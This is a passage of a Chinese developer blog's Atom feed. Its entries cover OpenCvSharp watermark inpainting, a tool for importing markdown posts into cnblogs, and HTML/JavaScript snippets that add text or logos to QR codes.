1</span><br><span class="line"> output_file = os.path.join(GEN_IMAGES_DIR, f"{font_name}_{j}.png")</span><br><span class="line"> img.save(output_file)</span><br><span class="line"></span><br></pre></td></tr></table></figure></li></ol><p>源代码都记录在这里了:<br><a href="https://github.com/chenzuoli/font-identifier">https://github.com/chenzuoli/font-identifier</a></p><p>本代码参考开源项目:<a href="https://huggingface.co/gaborcselle/font-identifier">https://huggingface.co/gaborcselle/font-identifier</a></p><p>好了,记录到这里,持续更新中。</p><p>记录问题也是一种修行。</p><p><img src="/images/%E4%BF%AE%E8%A1%8C.png" alt="修行"></p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>众所周知,我们的文字有各种字体,字体通过字体文件方式供操作系统使用,在需要使用字体图片的场景,我们如何快速生成呢?</p>
<p>这篇文章介绍下,如何通过操作系统自带的字体文件,利用python的pillow包快速生成字体图片。</p></summary>
<category term="工具" scheme="https://chenzuoli.github.io/categories/%E5%B7%A5%E5%85%B7/"/>
<category term="图片" scheme="https://chenzuoli.github.io/categories/%E5%B7%A5%E5%85%B7/%E5%9B%BE%E7%89%87/"/>
<category term="字体" scheme="https://chenzuoli.github.io/categories/%E5%B7%A5%E5%85%B7/%E5%9B%BE%E7%89%87/%E5%AD%97%E4%BD%93/"/>
<category term="图片" scheme="https://chenzuoli.github.io/tags/%E5%9B%BE%E7%89%87/"/>
<category term="字体" scheme="https://chenzuoli.github.io/tags/%E5%AD%97%E4%BD%93/"/>
</entry>
<entry>
<title>winform图片去水印</title>
<link href="https://chenzuoli.github.io/2024/11/23/winform%E5%9B%BE%E7%89%87%E5%8E%BB%E6%B0%B4%E5%8D%B0/"/>
<id>https://chenzuoli.github.io/2024/11/23/winform%E5%9B%BE%E7%89%87%E5%8E%BB%E6%B0%B4%E5%8D%B0/</id>
<published>2024-11-23T13:09:40.000Z</published>
<updated>2024-11-23T13:13:30.007Z</updated>
<content type="html"><![CDATA[<p>且看代码。</p><span id="more"></span><p>依赖package:<br>OpenCvSharp4<br>OpenCvSharp4.runtime.<os>,如果是win则安装OpenCvSharp4.runtime.win,如果是ubuntu,则安装OpenCvSharp4.runtime.ubuntu或OpenCvSharp4.runtime.linux</os></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">private static void removeWatermark(string filePath)</span><br><span class="line">{</span><br><span class="line"> try</span><br><span class="line"> {</span><br><span class="line"> Mat src = new Mat(filePath, ImreadModes.Color);</span><br><span class="line"> var dst = new Mat(filePath);</span><br><span class="line"> var mask = new Mat(src.Size(), MatType.CV_8UC1, Scalar.All(0));</span><br><span class="line"></span><br><span class="line"> // 第一二个参数是需要去水印的区域开始位置(左上角)</span><br><span class="line"> // 第三四个参数是水印区域的长度和宽度</span><br><span class="line"> mask.Rectangle(new Rect(src.Width-250, src.Height-50, 250, 50), Scalar.All(255), -1);</span><br><span class="line"></span><br><span class="line"> Cv2.Inpaint(src, mask, dst, 2, InpaintMethod.Telea);</span><br><span class="line"></span><br><span class="line"> // debug时展示图片是否是我们想要的</span><br><span class="line"> // if (Debugger.IsAttached)</span><br><span class="line"> // Window.ShowImages(src, mask, dst);</span><br><span class="line"></span><br><span class="line"> // 覆盖原img文件</span><br><span class="line"> Cv2.ImWrite(filePath, dst);</span><br><span class="line"> Console.WriteLine("inpainted new image.");</span><br><span class="line"> }</span><br><span class="line"> catch (Exception ex)</span><br><span class="line"> {</span><br><span class="line"> Console.WriteLine(ex.ToString());</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>好了,记录到这里,持续更新中。</p><p>记录问题也是一种修行。</p><p><img src="/images/%E4%BF%AE%E8%A1%8C.png" alt="修行"></p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>且看代码。</p></summary>
<category term="客户端" scheme="https://chenzuoli.github.io/categories/%E5%AE%A2%E6%88%B7%E7%AB%AF/"/>
<category term="windows" scheme="https://chenzuoli.github.io/categories/%E5%AE%A2%E6%88%B7%E7%AB%AF/windows/"/>
<category term="winforms" scheme="https://chenzuoli.github.io/categories/%E5%AE%A2%E6%88%B7%E7%AB%AF/windows/winforms/"/>
<category term="winform" scheme="https://chenzuoli.github.io/tags/winform/"/>
<category term="opencvsharp4" scheme="https://chenzuoli.github.io/tags/opencvsharp4/"/>
</entry>
<entry>
<title>小工具-markdown文件导入博客园cnblogs</title>
<link href="https://chenzuoli.github.io/2024/11/20/%E5%B0%8F%E5%B7%A5%E5%85%B7-markdown%E6%96%87%E4%BB%B6%E5%AF%BC%E5%85%A5%E5%8D%9A%E5%AE%A2%E5%9B%ADcnblogs/"/>
<id>https://chenzuoli.github.io/2024/11/20/%E5%B0%8F%E5%B7%A5%E5%85%B7-markdown%E6%96%87%E4%BB%B6%E5%AF%BC%E5%85%A5%E5%8D%9A%E5%AE%A2%E5%9B%ADcnblogs/</id>
<published>2024-11-20T14:03:17.000Z</published>
<updated>2024-11-20T14:57:15.329Z</updated>
<content type="html"><![CDATA[<p>开源一个批量导出csdn博客,导入博客园cnblogs工具,供大家备份博客、迁移博客使用,windows客户端工具,操作简便易用。</p><p>这篇文章介绍如何批量导入博客园网站。</p><span id="more"></span><ol><li><p>软件界面,选择【博客园导入】<br><img src="/2024/11/20/%E5%B0%8F%E5%B7%A5%E5%85%B7-markdown%E6%96%87%E4%BB%B6%E5%AF%BC%E5%85%A5%E5%8D%9A%E5%AE%A2%E5%9B%ADcnblogs/12e171f9bb9958b685a15487447fef8.png" alt="1"></p></li><li><p>获取博客园登录cookie<br><img src="/2024/11/20/%E5%B0%8F%E5%B7%A5%E5%85%B7-markdown%E6%96%87%E4%BB%B6%E5%AF%BC%E5%85%A5%E5%8D%9A%E5%AE%A2%E5%9B%ADcnblogs/fa7e408ee247ca23787ed9f5e63324d.png" alt="2"></p></li><li><p>获取博客园导入xsrf-token,需要先手动导入一篇markdown文章,获取token<br><img src="/2024/11/20/%E5%B0%8F%E5%B7%A5%E5%85%B7-markdown%E6%96%87%E4%BB%B6%E5%AF%BC%E5%85%A5%E5%8D%9A%E5%AE%A2%E5%9B%ADcnblogs/3656be6f8239a021b1b62ea4814a215.png" alt="3"></p></li><li><p>分类、标签、描述<br>这三个输入框可选,标注文章分类、标签和对应的描述信息的</p></li><li><p>是否草稿<br><img src="/2024/11/20/%E5%B0%8F%E5%B7%A5%E5%85%B7-markdown%E6%96%87%E4%BB%B6%E5%AF%BC%E5%85%A5%E5%8D%9A%E5%AE%A2%E5%9B%ADcnblogs/image-3.png" alt="4"></p></li><li><p>导入结果<br><img src="/2024/11/20/%E5%B0%8F%E5%B7%A5%E5%85%B7-markdown%E6%96%87%E4%BB%B6%E5%AF%BC%E5%85%A5%E5%8D%9A%E5%AE%A2%E5%9B%ADcnblogs/image-4.png" alt="5"></p></li></ol><p>ok,导入完成。</p><p>如果有什么问题,请大家提出,我即刻改正修复。</p><p>我是chenzuoli,一个喜欢写代码的程序员。</p><p>好了,记录到这里,持续更新中。</p><p>记录问题也是一种修行。</p><p><img src="/images/%E4%BF%AE%E8%A1%8C.png" alt="修行"></p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>开源一个批量导出csdn博客,导入博客园cnblogs工具,供大家备份博客、迁移博客使用,windows客户端工具,操作简便易用。</p>
<p>这篇文章介绍如何批量导入博客园网站。</p></summary>
<category term="客户端" scheme="https://chenzuoli.github.io/categories/%E5%AE%A2%E6%88%B7%E7%AB%AF/"/>
<category term="windows" scheme="https://chenzuoli.github.io/categories/%E5%AE%A2%E6%88%B7%E7%AB%AF/windows/"/>
<category term="winforms" scheme="https://chenzuoli.github.io/categories/%E5%AE%A2%E6%88%B7%E7%AB%AF/windows/winforms/"/>
<category term="windows" scheme="https://chenzuoli.github.io/tags/windows/"/>
<category term="winforms" scheme="https://chenzuoli.github.io/tags/winforms/"/>
<category term="cnblogs" scheme="https://chenzuoli.github.io/tags/cnblogs/"/>
</entry>
<entry>
<title>html-二维码下方添加任意文字导出为图片</title>
<link href="https://chenzuoli.github.io/2024/11/17/html-%E4%BA%8C%E7%BB%B4%E7%A0%81%E4%B8%8B%E6%96%B9%E6%B7%BB%E5%8A%A0%E4%BB%BB%E6%84%8F%E6%96%87%E5%AD%97%E5%AF%BC%E5%87%BA%E4%B8%BA%E5%9B%BE%E7%89%87/"/>
<id>https://chenzuoli.github.io/2024/11/17/html-%E4%BA%8C%E7%BB%B4%E7%A0%81%E4%B8%8B%E6%96%B9%E6%B7%BB%E5%8A%A0%E4%BB%BB%E6%84%8F%E6%96%87%E5%AD%97%E5%AF%BC%E5%87%BA%E4%B8%BA%E5%9B%BE%E7%89%87/</id>
<published>2024-11-17T03:39:18.000Z</published>
<updated>2024-11-17T03:41:06.568Z</updated>
<content type="html"><![CDATA[<p>话不多说,直接上代码。</p><span id="more"></span><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE html></span><br><span class="line"><html></span><br><span class="line"> <head></span><br><span class="line"> <base href="http://demos.telerik.com/kendo-ui/qrcode/index"></span><br><span class="line"> <style>html { font-size: 14px; font-family: Arial, Helvetica, sans-serif; }</style></span><br><span class="line"> <title></title></span><br><span class="line"></span><br><span class="line"> <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script></span><br><span class="line"> <script src="https://kendo.cdn.telerik.com/2023.3.1114/js/kendo.all.min.js"></script></span><br><span class="line"></span><br><span class="line"> <link rel="stylesheet" href="https://kendo.cdn.telerik.com/themes/7.0.2/default/default-ocean-blue.css"></span><br><span class="line"> <script src="https://unpkg.com/jszip/dist/jszip.min.js"></script></span><br><span class="line"> </head></span><br><span class="line"> <body></span><br><span class="line"></span><br><span class="line"> <button id="export" class="k-button k-button-md k-rounded-md k-button-solid k-button-solid-base">Export</button></span><br><span class="line"> <br><br/></span><br><span class="line"></span><br><span class="line"> <div id="wrapper"></span><br><span class="line"> <div id="qrcode"></div></span><br><span class="line"> <h3>QRCode with text</h3></span><br><span class="line"> </div></span><br><span class="line"></span><br><span class="line"> <script type="text/javascript"></span><br><span class="line"></span><br><span class="line"> $(document).ready(function () {</span><br><span class="line"> </span><br><span class="line"> $("#qrcode").kendoQRCode({</span><br><span class="line"> value: "https://demos.telerik.com/kendo-ui/qrcode/index",</span><br><span class="line"> size: 120,</span><br><span class="line"> border: {</span><br><span class="line"> color: "#000000",</span><br><span class="line"> width: 3</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> </span><br><span class="line"> $("#export").click(function() {</span><br><span class="line"> kendo.drawing.drawDOM($("#wrapper"))</span><br><span class="line"> .then(function(group) {</span><br><span class="line"> return kendo.drawing.exportImage(group, { width: "250px", height: "250px" });</span><br><span class="line"> })</span><br><span class="line"> .done(function(data) {</span><br><span class="line"> kendo.saveAs({</span><br><span class="line"> dataURI: data,</span><br><span class="line"> fileName: "QRCode.png"</span><br><span class="line"> });</span><br><span class="line"> });</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> </script></span><br><span class="line"> </body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>好了,记录到这里,持续更新中。</p><p>记录问题也是一种修行。</p><p><img src="/images/%E4%BF%AE%E8%A1%8C.png" alt="修行"></p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>话不多说,直接上代码。</p></summary>
<category term="前端" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/"/>
<category term="HTML" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/HTML/"/>
<category term="html" scheme="https://chenzuoli.github.io/tags/html/"/>
<category term="qrcode" scheme="https://chenzuoli.github.io/tags/qrcode/"/>
<category term="text" scheme="https://chenzuoli.github.io/tags/text/"/>
</entry>
<entry>
<title>html-在二维码的任意位置添加文字</title>
<link href="https://chenzuoli.github.io/2024/11/17/html-%E5%9C%A8%E4%BA%8C%E7%BB%B4%E7%A0%81%E7%9A%84%E4%BB%BB%E6%84%8F%E4%BD%8D%E7%BD%AE%E6%B7%BB%E5%8A%A0%E6%96%87%E5%AD%97/"/>
<id>https://chenzuoli.github.io/2024/11/17/html-%E5%9C%A8%E4%BA%8C%E7%BB%B4%E7%A0%81%E7%9A%84%E4%BB%BB%E6%84%8F%E4%BD%8D%E7%BD%AE%E6%B7%BB%E5%8A%A0%E6%96%87%E5%AD%97/</id>
<published>2024-11-17T02:01:32.000Z</published>
<updated>2024-11-17T02:03:17.029Z</updated>
<content type="html"><![CDATA[<p>直接看代码</p><span id="more"></span><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE html></span><br><span class="line"><html lang="en"></span><br><span class="line"><head></span><br><span class="line"> <meta charset="UTF-8"></span><br><span class="line"> <title>在二维码的任意位置添加文字</title></span><br><span class="line"> <script type="text/javascript" src="https://unpkg.com/qr-code-styling@1.5.0/lib/qr-code-styling.js"></script></span><br><span class="line"> <link rel="stylesheet" type="text/css" media="all" href="css/reset.css" /> <!-- reset css --></span><br><span class="line"> <script type="text/javascript" src="http://code.jquery.com/jquery.min.js"></script></span><br><span class="line"></span><br><span class="line"> <style></span><br><span class="line"> body{ background-color: ivory; }</span><br><span class="line"> #canvas{border:1px solid red;}</span><br><span class="line"> </style></span><br><span class="line"></span><br><span class="line"> <script></span><br><span class="line"> window.onload = function(){</span><br><span class="line"> var canvas = document.getElementById("myCanvas");</span><br><span class="line"> var context = canvas.getContext("2d");</span><br><span class="line"> var imageObj = new Image();</span><br><span class="line"> imageObj.onload = function(){</span><br><span class="line"> context.drawImage(imageObj, 100, 100);</span><br><span class="line"> context.font = "40pt Calibri";</span><br><span class="line"> context.fillText("My TEXT!", 20, 20);</span><br><span class="line"> };</span><br><span class="line"> imageObj.src = "http://images4.fanpop.com/image/photos/23400000/water-water-23444632-2048-1277.jpg";</span><br><span class="line"> };</span><br><span class="line"> </script></span><br><span class="line"></span><br><span class="line"></head></span><br><span class="line"></span><br><span class="line"><body></span><br><span class="line"> <canvas id="myCanvas" ></canvas></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>好了,记录到这里,持续更新中。</p><p>记录问题也是一种修行。</p><p><img src="/images/%E4%BF%AE%E8%A1%8C.png" alt="修行"></p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>直接看代码</p></summary>
<category term="前端" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/"/>
<category term="HTML" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/HTML/"/>
<category term="html" scheme="https://chenzuoli.github.io/tags/html/"/>
<category term="logo" scheme="https://chenzuoli.github.io/tags/logo/"/>
<category term="qrcode" scheme="https://chenzuoli.github.io/tags/qrcode/"/>
</entry>
<entry>
<title>html-二维码中间添加logo或者其他图片标识</title>
<link href="https://chenzuoli.github.io/2024/11/17/html-%E4%BA%8C%E7%BB%B4%E7%A0%81%E4%B8%AD%E9%97%B4%E6%B7%BB%E5%8A%A0logo%E6%88%96%E8%80%85%E5%85%B6%E4%BB%96%E5%9B%BE%E7%89%87%E6%A0%87%E8%AF%86/"/>
<id>https://chenzuoli.github.io/2024/11/17/html-%E4%BA%8C%E7%BB%B4%E7%A0%81%E4%B8%AD%E9%97%B4%E6%B7%BB%E5%8A%A0logo%E6%88%96%E8%80%85%E5%85%B6%E4%BB%96%E5%9B%BE%E7%89%87%E6%A0%87%E8%AF%86/</id>
<published>2024-11-17T01:59:17.000Z</published>
<updated>2024-11-17T02:03:12.566Z</updated>
<content type="html"><![CDATA[<p>直接看代码</p><span id="more"></span><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><!DOCTYPE html></span><br><span class="line"><html lang="en"></span><br><span class="line"><head></span><br><span class="line"> <meta charset="UTF-8"></span><br><span class="line"> <title>在二维码中间添加logo或者其他图片标识</title></span><br><span class="line"> <script type="text/javascript" src="https://unpkg.com/qr-code-styling@1.5.0/lib/qr-code-styling.js"></script></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><div id="canvas"></div></span><br><span class="line"><script type="text/javascript"></span><br><span class="line"></span><br><span class="line"> const qrCode = new QRCodeStyling({</span><br><span class="line"> width: 300,</span><br><span class="line"> height: 300,</span><br><span class="line"> type: "svg",</span><br><span class="line"> data: "https://www.facebook.com/",</span><br><span class="line"> image: "https://upload.wikimedia.org/wikipedia/commons/5/51/Facebook_f_logo_%282019%29.svg",</span><br><span class="line"> dotsOptions: {</span><br><span class="line"> color: "#4267b2",</span><br><span class="line"> type: "rounded"</span><br><span class="line"> },</span><br><span class="line"> backgroundOptions: {</span><br><span class="line"> color: "#e9ebee",</span><br><span class="line"> },</span><br><span class="line"> imageOptions: {</span><br><span class="line"> crossOrigin: "anonymous",</span><br><span class="line"> margin: 20</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> qrCode.append(document.getElementById("canvas"));</span><br><span class="line"> qrCode.download({ name: "qr", extension: "svg" });</span><br><span class="line"></script></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>好了,记录到这里,持续更新中。</p><p>记录问题也是一种修行。</p><p><img src="/images/%E4%BF%AE%E8%A1%8C.png" alt="修行"></p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>直接看代码</p></summary>
<category term="前端" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/"/>
<category term="HTML" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/HTML/"/>
<category term="html" scheme="https://chenzuoli.github.io/tags/html/"/>
<category term="logo" scheme="https://chenzuoli.github.io/tags/logo/"/>
<category term="qrcode" scheme="https://chenzuoli.github.io/tags/qrcode/"/>
</entry>
<entry>
<title>html-二维码中间添加logo</title>
<link href="https://chenzuoli.github.io/2024/11/17/html-%E4%BA%8C%E7%BB%B4%E7%A0%81%E4%B8%AD%E9%97%B4%E6%B7%BB%E5%8A%A0logo/"/>
<id>https://chenzuoli.github.io/2024/11/17/html-%E4%BA%8C%E7%BB%B4%E7%A0%81%E4%B8%AD%E9%97%B4%E6%B7%BB%E5%8A%A0logo/</id>
<published>2024-11-17T01:58:38.000Z</published>
<updated>2024-11-17T02:03:08.644Z</updated>
<content type="html"><![CDATA[<p>直接看代码</p><span id="more"></span><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE html></span><br><span class="line"><html lang="en"></span><br><span class="line"><head></span><br><span class="line"> <meta charset="UTF-8"></span><br><span class="line"> <title>二维码中间添加logo</title></span><br><span class="line"> <script src="/static/js/qrcode.min.js"></script></span><br><span class="line"> <script src="/static/js/jquery.min.js"></script></span><br><span class="line"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.qrcode/1.0/jquery.qrcode.min.js" integrity="sha512-NFUcDlm4V+a2sjPX7gREIXgCSFja9cHtKPOL1zj6QhnE0vcY695MODehqkaGYTLyL2wxe/wtr4Z49SvqXq12UQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script></span><br><span class="line"></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><div id="qrcode_img1_1"></div></span><br><span class="line"></span><br><span class="line"><script></span><br><span class="line"> function imgQR(qrCanvas, centerImage, factor) {</span><br><span class="line"> var h = qrCanvas.height;</span><br><span class="line"> //Center size</span><br><span class="line"> var cs = h * factor;</span><br><span class="line"> //Center offset</span><br><span class="line"> var co = (h - cs) / 2;</span><br><span class="line"> var ctx = qrCanvas.getContext("2d");</span><br><span class="line"> ctx.drawImage(centerImage, 0, 0, centerImage.width, centerImage.height, co, co, cs, cs);</span><br><span class="line"> }</span><br><span class="line"> const icon = new Image();</span><br><span class="line"> icon.onload = function () {</span><br><span class="line"> var qrcode = new QRCode(document.getElementById("qrcode_img1_1"), {</span><br><span class="line"> text: "https://docs.apipost.cn/preview/c1965f884871c5e8/022649a12cdf1ad7",</span><br><span class="line"> width: 200,</span><br><span class="line"> height: 200,</span><br><span class="line"> colorDark: "#000000",</span><br><span class="line"> colorLight: "#ffffff",</span><br><span class="line"> correctLevel: QRCode.CorrectLevel.H</span><br><span class="line"> });</span><br><span class="line"> imgQR(qrcode._oDrawing._elCanvas, this, 0.2)</span><br><span class="line"> }</span><br><span class="line"> icon.src = "https://api.logo.com/api/v2/images?logo=lg_SrcDtUgd3mNUxVMgHD&width=128&height=128&fit=contain&margins=24&format=webp&quality=60&u=1731766083359"</span><br><span class="line"></span><br><span class="line"></script></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>好了,记录到这里,持续更新中。</p><p>记录问题也是一种修行。</p><p><img src="/images/%E4%BF%AE%E8%A1%8C.png" alt="修行"></p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>直接看代码</p></summary>
<category term="前端" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/"/>
<category term="HTML" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/HTML/"/>
<category term="html" scheme="https://chenzuoli.github.io/tags/html/"/>
<category term="logo" scheme="https://chenzuoli.github.io/tags/logo/"/>
<category term="qrcode" scheme="https://chenzuoli.github.io/tags/qrcode/"/>
</entry>
</feed>